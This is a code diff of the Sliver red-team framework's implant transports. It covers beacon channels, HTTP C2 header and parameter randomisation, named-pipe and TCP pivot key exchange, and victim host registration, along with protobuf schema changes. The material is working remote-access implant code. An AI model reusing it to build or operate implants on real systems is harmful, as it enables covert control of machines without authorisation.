// {{end}}
return nil
}
pivots.RestartAllListeners(connection.Send)
defer pivots.StopAllListeners()
defer connection.Stop()
connectionErrors = 0
// Reconnect active pivots
// pivots.ReconnectActivePivots(connection)
@@ -589,6 +592,8 @@ func sessionMainLoop(connection *transports.Connection) error {
log.Printf("[recv] tunHandler %d", envelope.Type)
// {{end}}
go handler(envelope, connection)
} else if envelope.Type == sliverpb.MsgCloseSession {
return nil
} else {
// {{if .Config.Debug}}
log.Printf("[recv] unknown envelope type %d", envelope.Type)
@@ -618,7 +623,7 @@ func wrapEnvelope(msgType uint32, message protoreflect.ProtoMessage) *sliverpb.E
}
}
// registerSliver - Creates a registartion protobuf message
// registerSliver - Creates a registration protobuf message
func registerSliver() *sliverpb.Register {
hostname, err := os.Hostname()
if err != nil {
@@ -660,20 +665,19 @@ func registerSliver() *sliverpb.Register {
// {{end}}
return &sliverpb.Register{
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
// ActiveC2: transports.GetActiveC2(),
Name: consts.SliverName,
Hostname: hostname,
Uuid: uuid,
Username: currentUser.Username,
Uid: currentUser.Uid,
Gid: currentUser.Gid,
Os: runtime.GOOS,
Version: version.GetVersion(),
Arch: runtime.GOARCH,
Pid: int32(os.Getpid()),
Filename: filename,
ReconnectInterval: int64(transports.GetReconnectInterval()),
// ProxyURL: transports.GetProxyURL(),
ConfigID: "{{ .Config.ID }}",
ConfigID: "{{ .Config.ID }}",
PeerID: pivots.MyPeerID,
}
}
+8 -19
View File
@@ -80,24 +80,8 @@ type Beacon struct {
Close BeaconClose
Cleanup BeaconCleanup
url *url.URL
proxyURL *url.URL
}
// URL - Returns the c2 URL of the beacon
func (b *Beacon) URL() string {
if b.url == nil {
return ""
}
return b.url.String()
}
// ProxyURL - Returns the c2 URL of the beacon
func (b *Beacon) ProxyURL() string {
if b.proxyURL == nil {
return ""
}
return b.url.String()
ActiveC2 string
ProxyURL string
}
// Interval - Interval between beacons
@@ -215,6 +199,7 @@ func mtlsBeacon(uri *url.URL) *Beacon {
var conn *tls.Conn
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
return nil
},
@@ -262,6 +247,7 @@ func wgBeacon(uri *url.URL) *Beacon {
var conn net.Conn
var dev *device.Device
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
return nil
},
@@ -317,9 +303,11 @@ func httpBeacon(uri *url.URL) *Beacon {
var client *httpclient.SliverHTTPClient
var err error
opts := httpclient.ParseHTTPOptions(uri)
beacon := &Beacon{
ActiveC2: uri.String(),
ProxyURL: opts.ProxyConfig,
Init: func() error {
opts := httpclient.ParseHTTPOptions(uri)
client, err = httpclient.HTTPStartSession(uri.Host, uri.Path, opts)
if err != nil {
// {{if .Config.Debug}}
@@ -356,6 +344,7 @@ func dnsBeacon(uri *url.URL) *Beacon {
var client *dnsclient.SliverDNSClient
var err error
beacon := &Beacon{
ActiveC2: uri.String(),
Init: func() error {
opts := dnsclient.ParseDNSOptions(uri)
client, err = dnsclient.DNSStartSession(uri.Host, opts)
@@ -62,10 +62,13 @@ var (
// HTTPOptions - c2 specific configuration options
type HTTPOptions struct {
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
NetTimeout time.Duration
TlsTimeout time.Duration
PollTimeout time.Duration
MaxErrors int
ForceHTTP bool
DisableAcceptHeader bool
DisableUpgradeHeader bool
ProxyConfig string
ProxyUsername string
@@ -91,10 +94,13 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
maxErrors = 10
}
return &HTTPOptions{
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
NetTimeout: netTimeout,
TlsTimeout: tlsTimeout,
PollTimeout: pollTimeout,
MaxErrors: maxErrors,
ForceHTTP: c2URI.Query().Get("force-http") == "true",
DisableAcceptHeader: c2URI.Query().Get("disable-accept-header") == "true",
DisableUpgradeHeader: c2URI.Query().Get("disable-upgrade-header") == "true",
ProxyConfig: c2URI.Query().Get("proxy"),
ProxyUsername: c2URI.Query().Get("proxy-username"),
@@ -105,16 +111,24 @@ func ParseHTTPOptions(c2URI *url.URL) *HTTPOptions {
// HTTPStartSession - Attempts to start a session with a given address
func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*SliverHTTPClient, error) {
var client *SliverHTTPClient
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.pollTimeout = opts.PollTimeout
client.PathPrefix = pathPrefix
err := client.SessionInit()
if err != nil {
var err error
if !opts.ForceHTTP {
client = httpsClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig)
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err == nil {
return client, nil
}
}
if err != nil || opts.ForceHTTP {
// If we're using default ports then switch to 80
if strings.HasSuffix(address, ":443") {
address = fmt.Sprintf("%s:80", address[:len(address)-4])
}
client = httpClient(address, opts.NetTimeout, opts.TlsTimeout, opts.ProxyConfig) // Fallback to insecure HTTP
client.Options = opts
client.PathPrefix = pathPrefix
err = client.SessionInit()
if err != nil {
return nil, err
@@ -125,16 +139,17 @@ func HTTPStartSession(address string, pathPrefix string, opts *HTTPOptions) (*Sl
// SliverHTTPClient - Helper struct to keep everything together
type SliverHTTPClient struct {
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollTimeout time.Duration
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Origin string
PathPrefix string
Client *http.Client
ProxyURL string
SessionCtx *cryptography.CipherContext
SessionID string
pollCancel context.CancelFunc
pollMutex *sync.Mutex
Closed bool
Options *HTTPOptions
}
// SessionInit - Initialize the session
@@ -191,13 +206,54 @@ func (s *SliverHTTPClient) OTPQueryArgument(uri *url.URL, value string) *url.URL
func (s *SliverHTTPClient) newHTTPRequest(method string, uri *url.URL, body io.Reader) *http.Request {
req, _ := http.NewRequest(method, uri.String(), body)
req.Header.Set("User-Agent", userAgent)
if method == http.MethodGet {
if method == http.MethodGet && !s.Options.DisableAcceptHeader {
req.Header.Set("Accept-Language", "en-US,en;q=0.9")
req.Header.Set("Accept", acceptHeaderValue)
}
if uri.Scheme == "http" {
if uri.Scheme == "http" && !s.Options.DisableUpgradeHeader {
req.Header.Set("Upgrade-Insecure-Requests", "1")
}
type nameValueProbability struct {
Name string
Value string
Probability string
}
// HTTP C2 Profile headers
extraHeaders := []nameValueProbability{
// {{range $header := .HTTPC2ImplantConfig.Headers}}
{Name: "{{$header.Name}}", Value: "{{$header.Value}}", Probability: "{{$header.Probability}}"},
// {{end}}
}
for _, header := range extraHeaders {
probability, _ := strconv.Atoi(header.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
req.Header.Set(header.Name, header.Value)
}
extraURLParams := []nameValueProbability{
// {{range $param := .HTTPC2ImplantConfig.URLParameters}}
{Name: "{{$param.Name}}", Value: "{{$param.Value}}", Probability: "{{$param.Probability}}"},
// {{end}}
}
queryParams := req.URL.Query()
for _, param := range extraURLParams {
probability, _ := strconv.Atoi(param.Probability)
if 0 < probability {
roll := insecureRand.Intn(99) + 1
if probability < roll {
continue
}
}
queryParams.Set(param.Name, param.Value)
}
req.URL.RawQuery = queryParams.Encode()
return req
}
@@ -227,7 +283,7 @@ func (s *SliverHTTPClient) DoPoll(req *http.Request) (*http.Response, []byte, er
select {
case <-ctx.Done():
done <- ctx.Err()
case <-time.After(s.pollTimeout):
case <-time.After(s.Options.PollTimeout):
// {{if .Config.Debug}}
log.Printf("[http] poll timeout error!")
// {{end}}
@@ -466,7 +522,7 @@ func (s *SliverHTTPClient) pathJoinURL(segments []string) string {
for index, segment := range segments {
segments[index] = url.PathEscape(segment)
}
if s.PathPrefix != "" {
if s.PathPrefix != "" && s.PathPrefix != "/" {
segments = append([]string{s.PathPrefix}, segments...)
}
return strings.Join(segments, "/")
@@ -21,30 +21,57 @@ package pivotclients
import (
"net/url"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
)
var (
defaultNamedPipeDeadline = time.Second * 10
)
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline"))
if err != nil {
readDeadline = defaultNamedPipeDeadline
}
writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline"))
if err != nil {
writeDeadline = defaultNamedPipeDeadline
}
return &NamedPipePivotOptions{
ReadDeadline: readDeadline,
WriteDeadline: writeDeadline,
}
}
// NamedPipePivotOptions - Options for the NamedPipe pivot
type NamedPipePivotOptions struct {
Timeout time.Duration
ReadDeadline time.Duration
WriteDeadline time.Duration
}
// ParseNamedPipePivotOptions - Parse the options for the TCP pivot from a C2 URL
func ParseNamedPipePivotOptions(uri *url.URL) *NamedPipePivotOptions {
opts := &NamedPipePivotOptions{}
if readDeadline, err := time.ParseDuration(uri.Query().Get("read-deadline")); err == nil {
opts.ReadDeadline = readDeadline
} else {
// {{if .Config.Debug}}
if uri.Query().Get("read-deadline") != "" {
log.Printf("failed to parse read-deadline: %s", err)
}
// {{end}}
opts.ReadDeadline = defaultNamedPipeDeadline
}
if writeDeadline, err := time.ParseDuration(uri.Query().Get("write-deadline")); err == nil {
opts.WriteDeadline = writeDeadline
} else {
// {{if .Config.Debug}}
if uri.Query().Get("write-deadline") != "" {
log.Printf("failed to parse write-deadline: %s", err)
}
// {{end}}
opts.WriteDeadline = defaultNamedPipeDeadline
}
if timeout, err := time.ParseDuration(uri.Query().Get("timeout")); err == nil {
opts.Timeout = timeout
} else {
// {{if .Config.Debug}}
if uri.Query().Get("timeout") != "" {
log.Printf("failed to parse timeout: %s", err)
}
// {{end}}
opts.Timeout = defaultNamedPipeDeadline
}
return opts
}
@@ -24,7 +24,7 @@ import (
"errors"
)
// NamedPipeConnect - Non windows implementation of the named pipe client
// NamedPipePivotStartSession - Non windows implementation of the named pipe client
func NamedPipePivotStartSession(_ string, _ *NamedPipePivotOptions) (*NetConnPivotClient, error) {
return nil, errors.New("unsupported platform")
}
@@ -34,14 +34,16 @@ import (
// NamedPipePivotStartSession - Start a TCP pivot session with a peer
func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*NetConnPivotClient, error) {
address := uri.String()
address = strings.ReplaceAll(address, "namedpipe://", "")
address = "\\\\" + strings.ReplaceAll(address, "/", "\\")
address := "\\\\" + uri.Hostname() + strings.Replace(uri.Path, "/", "\\", -1)
// {{if .Config.Debug}}
log.Print("Pivot named pipe address: ", address)
log.Printf("Pivot named pipe address: %s", address)
log.Printf("Options: %+v", opts)
// {{end}}
conn, err := winio.DialPipe(address, nil)
if err != nil {
// {{if .Config.Debug}}
log.Printf("Failed to connect to named pipe: %s", err)
// {{end}}
return nil, err
}
@@ -53,17 +55,11 @@ func NamedPipePivotStartSession(uri *url.URL, opts *NamedPipePivotOptions) (*Net
readDeadline: opts.ReadDeadline,
writeDeadline: opts.WriteDeadline,
}
err = pivot.peerKeyExchange()
err = pivot.KeyExchange()
if err != nil {
conn.Close()
return nil, err
}
err = pivot.serverKeyExchange()
if err != nil {
conn.Close()
return nil, err
}
return pivot, nil
}
@@ -20,7 +20,6 @@ package pivotclients
import (
"bytes"
"crypto/rand"
"encoding/base64"
"encoding/binary"
"errors"
@@ -32,26 +31,16 @@ import (
"log"
// {{end}}
consts "github.com/bishopfox/sliver/implant/sliver/constants"
"github.com/bishopfox/sliver/implant/sliver/cryptography"
"github.com/bishopfox/sliver/implant/sliver/pivots"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/gofrs/uuid"
"google.golang.org/protobuf/proto"
)
var (
OriginID = originID() // The origin's PeerID
)
// originID - Random origin identifier
func originID() int64 {
buf := make([]byte, 8)
rand.Read(buf)
return int64(binary.LittleEndian.Uint64(buf))
}
// NetConnPivotClient - A TCP pivot client
// NetConnPivotClient - A generic net.Conn pivot client
type NetConnPivotClient struct {
originID int64
pivotSessionID []byte
conn net.Conn
readMutex *sync.Mutex
@@ -92,6 +81,7 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
}
pivotHello, _ := proto.Marshal(&pb.PivotHello{
PublicKey: publicKey,
PeerID: pivots.MyPeerID,
PublicKeySignature: cryptography.ECCPublicKeySignature,
})
@@ -131,26 +121,33 @@ func (p *NetConnPivotClient) peerKeyExchange() error {
}
func (p *NetConnPivotClient) serverKeyExchange() error {
p.originID = OriginID
serverSessionKey := cryptography.RandomKey()
p.serverCipherCtx = cryptography.NewCipherContext(serverSessionKey)
ciphertext, err := cryptography.ECCEncryptToServer(serverSessionKey[:])
if err != nil {
return err
}
pivotServerKeyExchange, _ := proto.Marshal(&pb.PivotServerKeyExchange{
OriginID: p.originID,
pivotServerKeyExchangeData, _ := proto.Marshal(&pb.PivotServerKeyExchange{
OriginID: pivots.MyPeerID,
SessionKey: ciphertext,
})
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
peerEnvelopeData, _ := proto.Marshal(&pb.PivotPeerEnvelope{
Peers: []*pb.PivotPeer{
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
},
Type: pb.MsgPivotServerKeyExchange,
Data: pivotServerKeyExchange,
Data: pivotServerKeyExchangeData,
})
pivotServerKeyExchangeEnvelope, _ := proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerEnvelopeData,
})
keyExchangeCiphertext, err := p.peerCipherCtx.Encrypt(pivotServerKeyExchangeEnvelope)
if err != nil {
return err
}
// {{if .Config.Debug}}
log.Printf("[pivot] my peer id: %d", pivots.MyPeerID)
log.Printf("[pivot] Sending server key exchange ...")
// {{end}}
p.conn.SetWriteDeadline(time.Now().Add(p.writeDeadline))
@@ -167,23 +164,33 @@ func (p *NetConnPivotClient) serverKeyExchange() error {
// a different read deadline here as this has to go round trip to the server if the
// upstream implant uses a slow protocol it may take a while to go there and back again
p.conn.SetReadDeadline(time.Now().Add(5 * time.Minute))
serverKeyExchangeResp, err := p.ReadEnvelope()
serverKeyExRespEnvelope, err := p.ReadEnvelope()
p.conn.SetReadDeadline(time.Time{})
if err != nil {
return err
}
if serverKeyExchangeResp.Type != pb.MsgPivotServerKeyExchange {
if serverKeyExRespEnvelope.Type != pb.MsgPivotServerKeyExchange {
// {{if .Config.Debug}}
log.Printf("[pivot] Unexpected message type: %v", serverKeyExchangeResp.Type)
log.Printf("[pivot] Unexpected message type: %v", serverKeyExRespEnvelope.Type)
// {{end}}
return errors.New("server key exchange failure")
}
serverKeyExResp := &pb.PivotServerKeyExchange{}
err = proto.Unmarshal(serverKeyExRespEnvelope.Data, serverKeyExResp)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error un-marshaling server key exchange response: %v", err)
// {{end}}
return err
}
// Just make sure we can parse the bytes
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExchangeResp.Data).Bytes()
p.pivotSessionID = uuid.FromBytesOrNil(serverKeyExResp.SessionKey).Bytes()
// {{if .Config.Debug}}
log.Printf("[pivot] Pivot session ID: %s",
uuid.FromBytesOrNil(serverKeyExchangeResp.Data).String(),
uuid.FromBytesOrNil(p.pivotSessionID).String(),
)
// {{end}}
@@ -274,9 +281,9 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
return err
}
var peerPlaintext []byte
if envelope.Type != pb.MsgPivotPeerPing {
// Prepend the message with the pivot session ID
// note this can only be done after the server key change
// Do not wrap pivot messages since we're not the origin
if envelope.Type != pb.MsgPivotPeerPing && envelope.Type != pb.MsgPivotPeerEnvelope {
ciphertext, err := p.serverCipherCtx.Encrypt(plaintext)
if err != nil {
// {{if .Config.Debug}}
@@ -284,15 +291,27 @@ func (p *NetConnPivotClient) WriteEnvelope(envelope *pb.Envelope) error {
// {{end}}
return err
}
msgBuf := make([]byte, len(p.pivotSessionID)+len(ciphertext))
copy(msgBuf, p.pivotSessionID)
copy(msgBuf[len(p.pivotSessionID):], ciphertext)
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotOriginEnvelope,
Data: msgBuf,
peerData, err := proto.Marshal(&pb.PivotPeerEnvelope{
Type: pb.MsgPivotSessionEnvelope,
Peers: []*pb.PivotPeer{
{PeerID: pivots.MyPeerID, Name: consts.SliverName},
},
PivotSessionID: p.pivotSessionID,
Data: ciphertext,
})
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Marshaling peer error: %s", err)
// {{end}}
return err
}
peerPlaintext, _ = proto.Marshal(&pb.Envelope{
Type: pb.MsgPivotPeerEnvelope,
Data: peerData,
})
} else {
// Pivot pings are not encrypted with the sever key
// Pivot pings and existing peer envelopes are not encrypted with the sever key
peerPlaintext = plaintext
}
@@ -322,24 +341,46 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
// {{end}}
return nil, err
}
peerEnvelope := &pb.Envelope{}
err = proto.Unmarshal(data, peerEnvelope)
incomingEnvelope := &pb.Envelope{}
err = proto.Unmarshal(data, incomingEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal origin envelope: %v", err)
// {{end}}
return nil, err
}
// {{if .Config.Debug}}
log.Printf("[pivot] Received incoming envelope: %+v", incomingEnvelope)
// {{end}}
// The only msg type that isn't encrypted by the server should be pivot pings
if peerEnvelope.Type == pb.MsgPivotPeerPing {
return peerEnvelope, nil
if incomingEnvelope.Type == pb.MsgPivotPeerPing {
return incomingEnvelope, nil
}
if peerEnvelope.Type != pb.MsgPivotOriginEnvelope {
if incomingEnvelope.Type != pb.MsgPivotPeerEnvelope {
return nil, errors.New("invalid message type")
}
peerEnvelope := &pb.PivotPeerEnvelope{}
err = proto.Unmarshal(incomingEnvelope.Data, peerEnvelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unexpected envelope type (non-origin)")
log.Printf("[pivot] Error unmarshal peer envelope: %v", err)
// {{end}}
return nil, err
}
if len(peerEnvelope.Peers) < 1 {
// {{if .Config.Debug}}
log.Printf("[pivot] Empty peer list")
// {{end}}
return nil, errors.New("empty peer list")
}
// If we're not the origin this peer envelope is not for us
if peerEnvelope.Peers[0].PeerID != pivots.MyPeerID {
return incomingEnvelope, nil
}
plaintext, err := p.serverCipherCtx.Decrypt(peerEnvelope.Data)
if err != nil {
// {{if .Config.Debug}}
@@ -349,13 +390,7 @@ func (p *NetConnPivotClient) ReadEnvelope() (*pb.Envelope, error) {
}
envelope := &pb.Envelope{}
err = proto.Unmarshal(plaintext, envelope)
if err != nil {
// {{if .Config.Debug}}
log.Printf("[pivot] Error unmarshal envelope: %v", err)
// {{end}}
return nil, err
}
return envelope, nil
return envelope, err
}
// CloseSession - Close the TCP pivot session
+9 -9
View File
@@ -237,7 +237,7 @@ func StartConnectionLoop(c2s []string, abort <-chan struct{}) <-chan *Connection
// *** Named Pipe ***
// {{if .Config.NamePipec2Enabled}}
connection, err = namedPipeConnect(uri)
if err == nil {
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Connection failed %s", err)
// {{end}}
@@ -717,7 +717,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
IsOpen: true,
cleanup: func() {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] lost connection, cleanup...")
log.Printf("[tcp pivot] lost connection, cleanup...")
// {{end}}
pingCtrl <- struct{}{}
close(send)
@@ -728,7 +728,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
connection.Stop = func() error {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] Stop()")
log.Printf("[tcp pivot] Stop()")
// {{end}}
connection.Cleanup()
return nil
@@ -762,7 +762,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] server ping...")
log.Printf("[tcp pivot] server ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
@@ -781,7 +781,7 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
}()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] send loop envelope type %d\n", envelope.Type)
log.Printf("[tcp pivot] send loop envelope type %d\n", envelope.Type)
// {{end}}
pivot.WriteEnvelope(envelope)
}
@@ -796,26 +796,26 @@ func tcpPivotConnect(uri *url.URL) (*Connection, error) {
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] read envelope error: %s", err)
log.Printf("[tcp pivot] read envelope error: %s", err)
// {{end}}
continue
}
if envelope == nil {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] read nil envelope")
log.Printf("[tcp pivot] read nil envelope")
// {{end}}
continue
}
if envelope.Type == pb.MsgPivotPeerPing {
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] received peer pong")
log.Printf("[tcp pivot] received peer pong")
// {{end}}
continue
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[tcp-pivot] Receive loop envelope type %d\n", envelope.Type)
log.Printf("[tcp pivot] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
+81 -26
View File
@@ -26,6 +26,7 @@ import (
"io"
"net/url"
"sync"
"time"
// {{if .Config.Debug}}
"log"
@@ -33,17 +34,14 @@ import (
"github.com/bishopfox/sliver/implant/sliver/transports/pivotclients"
pb "github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
func namedPipeConnect(uri *url.URL) (*Connection, error) {
opts := &pivotclients.NamedPipePivotOptions{}
client, err := pivotclients.NamedPipePivotStartSession(uri, opts)
if err != nil {
return nil, err
}
send := make(chan *pb.Envelope)
recv := make(chan *pb.Envelope)
ctrl := make(chan struct{}, 1)
pingCtrl := make(chan struct{}, 1)
connection := &Connection{
Send: send,
Recv: recv,
@@ -64,37 +62,94 @@ func namedPipeConnect(uri *url.URL) (*Connection, error) {
connection.Stop = func() error {
// {{if .Config.Debug}}
log.Printf("[named-pipe] Stop()")
log.Printf("[namedpipe] Stop()")
// {{end}}
connection.Cleanup()
return nil
}
go func() {
defer connection.Cleanup()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
client.WriteEnvelope(envelope)
connection.Start = func() error {
opts := pivotclients.ParseNamedPipePivotOptions(uri)
pivot, err := pivotclients.NamedPipePivotStartSession(uri, opts)
if err != nil {
return err
}
}()
go func() {
for {
select {
case <-pingCtrl:
return
case <-time.After(time.Minute):
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotPeerPing,
Data: data,
}
case <-time.After(time.Minute):
// {{if .Config.Debug}}
log.Printf("[namedpipe] server ping...")
// {{end}}
data, _ := proto.Marshal(&pb.PivotPing{
Nonce: uint32(time.Now().UnixNano()),
})
connection.Send <- &pb.Envelope{
Type: pb.MsgPivotServerPing,
Data: data,
}
}
}
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := client.ReadEnvelope()
if err == io.EOF {
break
}
if err == nil {
recv <- envelope
go func() {
defer func() {
connection.Cleanup()
}()
for envelope := range send {
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
log.Printf("[namedpipe] send loop envelope type %d\n", envelope.Type)
// {{end}}
pivot.WriteEnvelope(envelope)
}
}
}()
}()
go func() {
defer connection.Cleanup()
for {
envelope, err := pivot.ReadEnvelope()
if err == io.EOF {
break
}
if err != nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] read envelope error: %s", err)
// {{end}}
continue
}
if envelope == nil {
// {{if .Config.Debug}}
log.Printf("[namedpipe] read nil envelope")
// {{end}}
continue
}
if envelope.Type == pb.MsgPivotPeerPing {
// {{if .Config.Debug}}
log.Printf("[namedpipe] received peer pong")
// {{end}}
continue
}
if err == nil {
recv <- envelope
// {{if .Config.Debug}}
log.Printf("[namedpipe] Receive loop envelope type %d\n", envelope.Type)
// {{end}}
}
}
}()
return nil
}
return connection, nil
}
@@ -20,6 +20,7 @@ package wireguard
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
// WireguardConnect - Placeholder for unsupported platforms
func WireguardConnect(_ string, _ uint16) (net.Conn, *device.Device, error) {
return nil, nil, errors.New("{{if .Config.Debug}}WireguardConnect not implemented on this platform{{end}}")
}
File diff suppressed because it is too large. Load diff
+22 -8
View File
@@ -21,7 +21,7 @@ message Version {
// [ Core ] ----------------------------------------
message Session {
uint32 ID = 1;
string ID = 1;
string Name = 2;
string Hostname = 3;
string UUID = 4;
@@ -44,6 +44,7 @@ message Session {
bool Burned = 22;
repeated string Extensions = 23;
// string ConfigID = 24;
int64 PeerID = 25;
}
message Beacon {
@@ -67,13 +68,14 @@ message Beacon {
bool IsDead = 18;
string ProxyURL = 20;
int64 Interval = 21;
int64 Jitter = 22;
bool Burned = 23;
int64 NextCheckin = 24;
int64 ReconnectInterval = 21;
int64 Interval = 22;
int64 Jitter = 23;
bool Burned = 24;
int64 NextCheckin = 25;
int64 TasksCount = 25;
int64 TasksCountCompleted = 26;
int64 TasksCount = 26;
int64 TasksCountCompleted = 27;
}
message Beacons {
@@ -337,7 +339,7 @@ message Sessions {
}
message UpdateSession {
uint32 SessionID = 1;
string SessionID = 1;
string Name = 2;
int64 ReconnectInterval = 3;
int64 PollInterval = 4;
@@ -453,6 +455,18 @@ message CloseTunnelReq {
commonpb.Request Request = 9;
}
// [ Pivots ] ----------------------------------------
message PivotGraphEntry {
int64 PeerID = 1;
Session Session = 2;
string Name = 3;
repeated PivotGraphEntry Children = 4;
}
message PivotGraph {
repeated PivotGraphEntry Children = 1;
}
// [ Events ] ----------------------------------------
message Client {
uint32 ID = 1;
+5 -5
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.19.2
// source: commonpb/common.proto
package commonpb
@@ -67,7 +67,7 @@ type Request struct {
Async bool `protobuf:"varint,1,opt,name=Async,proto3" json:"Async,omitempty"`
Timeout int64 `protobuf:"varint,2,opt,name=Timeout,proto3" json:"Timeout,omitempty"`
BeaconID string `protobuf:"bytes,8,opt,name=BeaconID,proto3" json:"BeaconID,omitempty"`
SessionID uint32 `protobuf:"varint,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
SessionID string `protobuf:"bytes,9,opt,name=SessionID,proto3" json:"SessionID,omitempty"`
}
func (x *Request) Reset() {
@@ -123,11 +123,11 @@ func (x *Request) GetBeaconID() string {
return ""
}
func (x *Request) GetSessionID() uint32 {
func (x *Request) GetSessionID() string {
if x != nil {
return x.SessionID
}
return 0
return ""
}
// Response - Common fields used in all gRPC responses. Note that the Err field
@@ -416,7 +416,7 @@ var file_commonpb_common_proto_rawDesc = []byte{
0x6d, 0x65, 0x6f, 0x75, 0x74, 0x12, 0x1a, 0x0a, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
0x44, 0x18, 0x08, 0x20, 0x01, 0x28, 0x09, 0x52, 0x08, 0x42, 0x65, 0x61, 0x63, 0x6f, 0x6e, 0x49,
0x44, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x18, 0x09,
0x20, 0x01, 0x28, 0x0d, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
0x20, 0x01, 0x28, 0x09, 0x52, 0x09, 0x53, 0x65, 0x73, 0x73, 0x69, 0x6f, 0x6e, 0x49, 0x44, 0x22,
0x66, 0x0a, 0x08, 0x52, 0x65, 0x73, 0x70, 0x6f, 0x6e, 0x73, 0x65, 0x12, 0x10, 0x0a, 0x03, 0x45,
0x72, 0x72, 0x18, 0x01, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x14, 0x0a,
0x05, 0x41, 0x73, 0x79, 0x6e, 0x63, 0x18, 0x02, 0x20, 0x01, 0x28, 0x08, 0x52, 0x05, 0x41, 0x73,
+1 -1
View File
@@ -14,7 +14,7 @@ message Request {
int64 Timeout = 2;
string BeaconID = 8;
uint32 SessionID = 9;
string SessionID = 9;
}
// Response - Common fields used in all gRPC responses. Note that the Err field
+1 -1
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.19.2
// source: dnspb/dns.proto
package dnspb
+417 -395
View File
@@ -1,7 +1,7 @@
// Code generated by protoc-gen-go. DO NOT EDIT.
// versions:
// protoc-gen-go v1.26.0
// protoc v3.17.3
// protoc v3.19.2
// source: rpcpb/services.proto
package rpcpb
@@ -31,7 +31,7 @@ var file_rpcpb_services_proto_rawDesc = []byte{
0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x73, 0x6c, 0x69, 0x76, 0x65, 0x72, 0x70, 0x62, 0x2f, 0x73,
0x6c, 0x69, 0x76, 0x65, 0x72, 0x2e, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x1a, 0x15, 0x63, 0x6c, 0x69,
